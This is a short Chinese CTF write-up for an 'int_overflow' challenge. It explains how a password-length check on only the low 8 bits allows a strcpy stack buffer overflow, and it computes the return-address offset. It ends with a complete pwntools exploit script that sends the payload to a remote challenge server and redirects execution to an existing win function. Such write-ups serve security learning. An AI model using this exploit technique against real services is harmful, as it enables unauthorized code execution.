A、流程分析
3 < 密码长度 <=8 ,打印success, 并执行strcpy()函数
B、利用分析
密码长度使用AL -> 8位 判断 , strlen()返回eax 则可以使用大量数据填充,使低8位保证在4-8即可,用于构造payload
strcpy(ebp-14h,[ebp+8]) , ebp+8存储为输入密码的地址, ebp-14h为目标缓冲区,则ebp-14h起为我们填充的数据,ebp+4为返回地址,14h(缓冲区大小) + 4(ebp) + 4(返回地址) -> 19h- 1ch为返回地址
C、可利用函数
已有可利用函数,将其地址填充到payload 19h- 1ch处
D、exp
#!/usr/bin/python3
from pwn import *
#p = process('./int_overflow')
p = remote('111.198.29.45', 36199 )
payload = 6 * p32(0x61616161) + p32(0x0804868B) + 58*p32(0x61616161) + p32(0)
#print(payload)
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('Please input your username:')
p.sendline('1')
p.recvuntil('Please input your passwd:')
p.sendline(payload)
p.interactive()